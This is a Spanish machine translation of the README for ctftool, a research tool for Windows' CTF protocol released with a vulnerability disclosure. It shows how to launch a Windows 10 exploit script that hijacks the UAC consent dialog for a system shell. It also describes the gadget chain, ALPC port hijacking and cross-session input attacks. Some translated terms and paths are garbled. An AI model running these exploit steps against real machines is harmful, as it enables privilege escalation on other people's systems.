¿Solo quieres probar la exploit del sistema? Haga clic aquí.

Esta es ctftool , una herramienta de línea de comandos interactiva para experimentar con CTF, un protocolo poco conocido utilizado en Windows para implementar servicios de texto. Esto podría ser útil para estudiar Windows -Internals, depurar problemas complejos con procesadores de entrada de texto y analizar la seguridad de Windows.
Es posible escribir scripts simples con ctftool para automatizar la interacción con clientes o servidores CTF, o realizar fuzzing simple.
Hay una publicación de blog que acompaña el lanzamiento de esta herramienta disponible aquí.
https://googleprojectzero.blogspot.com/2019/08/down-rabbit-hole.html
ctftool se ha probado en Windows 7, Windows 8 y Windows 10. Se admiten versiones de 32 bits y X64, pero X64 se ha probado más ampliamente.
Hay ayuda en línea para la mayoría de los comandos, simplemente escriba help para ver una lista de comandos y help <command> para ver la ayuda detallada para un comando en particular.
$ ./ctftool.exe
An interactive ctf exploration tool by @taviso.
Type "help" for available commands.
Most commands require a connection, see "help connect".
ctf> help
Type `help <command>` for help with a specific command.
Any line beginning with # is considered a comment.
help - List available commands.
exit - Exit the shell.
connect - Connect to CTF ALPC Port.
info - Query server informaiton.
scan - Enumerate connected clients.
callstub - Ask a client to invoke a function.
createstub - Ask a client to instantiate CLSID.
hijack - Attempt to hijack an ALPC server path.
sendinput - Send keystrokes to thread.
setarg - Marshal a parameter.
getarg - Unmarshal a parameter.
wait - Wait for a process and set it as the default thread.
thread - Set the default thread.
sleep - Sleep for specified milliseconds.
forget - Forget all known stubs.
stack - Print the last leaked stack ptr.
marshal - Send command with marshalled parameters.
proxy - Send command with proxy parameters.
call - Send command without appended data.
window - Create and register a message window.
patch - Patch a marshalled parameter.
module - Print the base address of a module.
module64 - Print the base address of a 64bit module.
editarg - Change the type of a marshalled parameter.
symbol - Lookup a symbol offset from ImageBase.
set - Change or dump various ctftool parameters.
show - Show the value of special variables you can use.
lock - Lock the workstation, switch to Winlogon desktop.
repeat - Repeat a command multiple times.
run - Run a command.
script - Source a script file.
print - Print a string.
consent - Invoke the UAC consent dialog.
reg - Lookup a DWORD in the registry.
gadget - Find the offset of a pattern in a file.
section - Lookup property of PE section.
Most commands require a connection, see "help connect".
ctf>
Lo primero que querrá hacer es conectarse a una sesión y ver qué clientes están conectados.
ctf> connect
The ctf server port is located at BaseNamedObjectsmsctf.serverDefault1
NtAlpcConnectPort("BaseNamedObjectsmsctf.serverDefault1") => 0
Connected to CTF [email protected], Handle 00000264
ctf> scan
Client 0, Tid 3400 (Flags 0x08, Hwnd 00000D48, Pid 8696, explorer.exe)
Client 1, Tid 7692 (Flags 0x08, Hwnd 00001E0C, Pid 8696, explorer.exe)
Client 2, Tid 9424 (Flags 0x0c, Hwnd 000024D0, Pid 9344, SearchUI.exe)
Client 3, Tid 12068 (Flags 0x08, Hwnd 00002F24, Pid 12156, PROCEXP64.exe)
Client 4, Tid 9740 (Flags 0000, Hwnd 0000260C, Pid 3840, ctfmon.exe)
Luego puede experimentar enviando y recibiendo comandos al servidor, o cualquiera de los clientes conectados.
Si no desea construirlo usted mismo, consulte la pestaña de lanzamientos
Utilicé GNU Make y Visual Studio 2019 para desarrollar ctftool . Solo se admiten compilaciones de 32 bits, ya que esto permite que la herramienta se ejecute en ventanas X86 y X64.
Si se instalan todas las dependencias, solo make en un símbolo del sistema de desarrolladores debería ser suficiente.
Utilizo la variante de "herramientas de compilación" de Visual Studio, y los únicos componentes que he seleccionado son MSVC, MSBuild, CMake y el SDK.
Este proyecto utiliza submódulos para algunas de las dependencias, asegúrese de que esté utilizando un comando como este para obtener todo el código requerido.
git submodule update --init --recursive
Los ejemplos solo funcionan en Windows 10 x64. Todas las plataformas y versiones desde Windows XP se ven afectadas, pero actualmente no se implementa POC.
Esta herramienta se utilizó para descubrir muchos problemas de seguridad críticos con el protocolo CTF que ha existido durante décadas.
Si solo desea probar un exploit en Windows 10 x64 1903, ejecute o haga doble clic en ctftool.exe e ingrese este comando:
An interactive ctf exploration tool by @taviso.
Type "help" for available commands.
Most commands require a connection, see "help connect".
ctf> script .scriptsctf-consent-system.ctf
Esto esperará a que aparezca el diálogo UAC, comprometerlo e iniciar un shell.
De hecho, el código de exploit se divide en dos etapas que puede usar de forma independiente. Por ejemplo, es posible que desee comprometer un proceso que pertenece a un usuario en una sesión diferente utilizando los parámetros opcionales para connect .
La mayoría de los clientes de CTF pueden verse comprometidos, ya que el kernel obliga a aplicaciones que dibujan Windows para cargar la biblioteca vulnerable.
Simplemente conéctese a una sesión, seleccione un cliente para comprometer (use los comandos scan y thread , o simplemente wait ), luego:
ctf> script .scriptsctf-exploit-common-win10.ctf
Construir una cadena de salto CFG que funcionara en la mayoría de los clientes de CTF fue bastante desafiante. Hay dos componentes principales para la exploit final, una escritura arbitraria primitiva y luego configurar nuestros registros para llamar LoadLibrary() .
Puede usar
dumpbin /headers /loadconfigpara volcar los objetivos de rama con la lista blanca.
Necesito un dispositivo de escritura arbitraria para crear objetos en una ubicación predecible. El mejor dispositivo utilizable que pude encontrar fue una disminución arbitraria de DWORD en msvcrt!_init_time .
Esto significa que en lugar de solo establecer los valores que queremos, tenemos que seguir disminuyendo hasta que el LSB alcance el valor que queremos. Este es mucho trabajo, pero nunca tenemos que hacer más de (2^8 - 1) * len disminuye.

Usando este primitivo, construyo un objeto como este en un espacio de holgura no utilizado en la sección Kernel32 .data . Debe ser parte de una imagen para que pueda predecir dónde se asignará, ya que la aleatorización de imágenes es por botín en Windows.

Había (por supuesto) muchos dispositivos de escritura arbitrarios, el problema era recuperar el control de la ejecución después de la escritura. Esto resultó bastante desafiante, y esa es la razón por la que estaba atrapado con una disminución de DWORD en lugar de algo más simple.
MSCTF atrapa todas las excepciones, por lo que el desafío fue encontrar una escritura arbitraria que no arruinó la pila para que SEH sobreviviera o se estrelló muy rápido sin causar ningún daño.
El gadget msvcrt!_init_time fue lo mejor que pude encontrar, dentro de algunas instrucciones, desferencias nulas sin corromper más memoria. Esto significa que podemos repetirlo ad infinitum.
Encontré dos gadgets útiles para ajustar registros, el primero fue:
combase!CStdProxyBuffer_CF_AddRef:
mov rcx,qword ptr [rcx-38h]
mov rax,qword ptr [rcx]
mov rax,qword ptr [rax+8]
jmp qword ptr [combase!__guard_dispatch_icall_fptr]
Y el segundo fue:
MSCTF!CCompartmentEventSink::OnChange:
mov rax,qword ptr [rcx+30h]
mov rcx,qword ptr [rcx+38h]
jmp qword ptr [MSCTF!_guard_dispatch_icall_fptr]
Al combinar estos dos dispositivos con el objeto que formamos con nuestro dispositivo de escritura, podemos redirigir la ejecución a kernel32!LoadLibraryA rebotando entre ellos.
Esto fue complicado, pero la secuencia de salto funciona así:

Si está interesado, le recomiendo verlo en un depurador. ¡Tenga en cuenta que deberá usar el comando sxd av y sxd bpe o el depurador se detendrá para cada escritura!
Además de la corrupción de la memoria, una clase de vulnerabilidad importante expuesta por CTF son los ataques de sesión de edición . Normalmente, un proceso no privilegiado (por ejemplo, baja integridad) no se permitiría enviar datos de entrada o leer desde un proceso de alto privilegiado. Este límite de seguridad se llama UIPI, aislamiento de privilegios de interfaz de usuario .
CTF rompe estos supuestos y permite que los procesos no privilegiados envíen entradas a procesos privilegiados.
Hay algunos requisitos para que este ataque funcione, por lo que sé que solo funcionará si tiene un lenguaje de visualización instalado que usa un procesador de entrada de texto fuera de proceso OOP. Los usuarios con idiomas de entrada que usan IME (chino, japonés, coreano, etc.) y los usuarios con herramientas A11Y entran en esta categoría.
Los ataques de ejemplo incluyen ...
Hay un script de ejemplo en el directorio de scripts que enviará entrada a una ventana del bloc de notas para demostrar cómo funcionan las sesiones de edición.

Debido a que no hay autenticación involucrada entre clientes y servidores en el protocolo CTF, un atacante con los privilegios necesarios para escribir a BaseNamedObjects puede crear el puerto CTF ALPC y pretender ser el monitor.
Esto permite que se omitan todas y cada una de las restricciones impuestas por el monitor.
Si desea experimentar con este ataque, pruebe el comando hijack en ctftool .
An interactive ctf exploration tool by @taviso.
Type "help" for available commands.
ctf> hijack Default 1
NtAlpcCreatePort("BaseNamedObjectsmsctf.serverDefault1") => 0 00000218
NtAlpcSendWaitReceivePort("BaseNamedObjectsmsctf.serverDefault1") => 0 00000218
000000: 18 00 30 00 0a 20 00 00 00 11 00 00 44 11 00 00 ..0.. ......D...
000010: a4 86 00 00 b7 66 b8 00 00 11 00 00 44 11 00 00 .....f......D...
000020: e7 12 01 00 0c 00 00 00 80 01 02 00 20 10 d6 05 ............ ...
A a message received
ProcessID: 4352, SearchUI.exe
ThreadId: 4420
WindowID: 00020180
NtAlpcSendWaitReceivePort("BaseNamedObjectsmsctf.serverDefault1") => 0 00000218
000000: 18 00 30 00 0a 20 00 00 ac 0f 00 00 0c 03 00 00 ..0.. ..........
000010: ec 79 00 00 fa 66 b8 00 ac 0f 00 00 0c 03 00 00 .y...f..........
000020: 12 04 01 00 08 00 00 00 10 01 01 00 00 00 00 00 ................
A a message received
ProcessID: 4012, explorer.exe
ThreadId: 780
WindowID: 00010110
NtAlpcSendWaitReceivePort("BaseNamedObjectsmsctf.serverDefault1") => 0 00000218
000000: 18 00 30 00 0a 20 00 00 ac 0f 00 00 0c 03 00 00 ..0.. ..........
000010: fc 8a 00 00 2a 67 b8 00 ac 0f 00 00 0c 03 00 00 ....*g..........
000020: 12 04 01 00 08 00 00 00 10 01 01 00 58 00 00 00 ............X...
A a message received
ProcessID: 4012, explorer.exe
ThreadId: 780
...
No hay aislamiento de sesión en el protocolo CTF, cualquier proceso puede conectarse a cualquier servidor CTF. Por ejemplo, un usuario de Servicios de Terminal puede interactuar con los procesos de cualquier otro usuario, incluso con el administrador.
El comando connect en ctftool admite la conexión a sesiones no defectuosas si desea experimentar con este ataque.
An interactive ctf exploration tool by @taviso.
Type "help" for available commands.
Most commands require a connection, see "help connect".
ctf> help connect
Connect to CTF ALPC Port.
Usage: connect [DESKTOPNAME SESSIONID]
Without any parameters, connect to the ctf monitor for the current
desktop and session. All subsequent commands will use this connection
for communicating with the ctf monitor.
If a connection is already open, the existing connection is closed first.
If DESKTOPNAME and SESSIONID are specified, a connection to ctf monitor
for another desktop and session are opened, if it exists.
If the specified port does not exist, wait until it does exist. This is
so that you can wait for a session that hasn't started
yet in a script.
Examples
Connect to the monitor for current desktop
ctf> connect
Connect to a specific desktop and session.
ctf> connect Default 1
Most commands require a connection, see "help connect".
Al momento de escribir, se desconoce cómo Microsoft cambiará el protocolo CTF en respuesta a los numerosos defectos de diseño que esta herramienta ayudó a exponer.
Por esa razón, considere que esta herramienta está en estado de prueba de concepto.
Todas las versiones de Windows ya que Windows XP usan CTF, en todas las plataformas compatibles.
Si bien no es parte del sistema base hasta XP, las versiones tan pronto como Windows 98 y NT4 usarían CTF si instaló Microsoft Office.
ctftool admite Windows 7 y más tarde en X86 y X64, pero las versiones anteriores y otras plataformas podrían ser compatibles, y se apreciarían las contribuciones.
Microsoft no documenta lo que representa CTF, no se explica en ninguna de las documentos de servicios de texto, muestras de SDK, nombres de símbolos, archivos de encabezado o en cualquier otro lugar. Mi teoría es que es de CTextFramework , lo que podrías nombrar la clase en notación húngara.
Hay algunos sitios web que afirman que
ctfmontiene algo que ver con las fuentes de tipo claro o el marco de traducción de colaboración de Azure. Están equivocados.
Actualización: Jake Nelson encuentra evidencia de "marco de texto común"
Tavis ormandy [email protected]
Todo el código original es Apache 2.0, consulte el archivo de licencia para obtener más detalles.
Los siguientes componentes son proyectos de terceros importados.
GetProcAddress() para módulos de 64 bits de un proceso de 32 bits. Esto se usa en el comando symbol y permite que el mismo binario funcione en x64 y x86.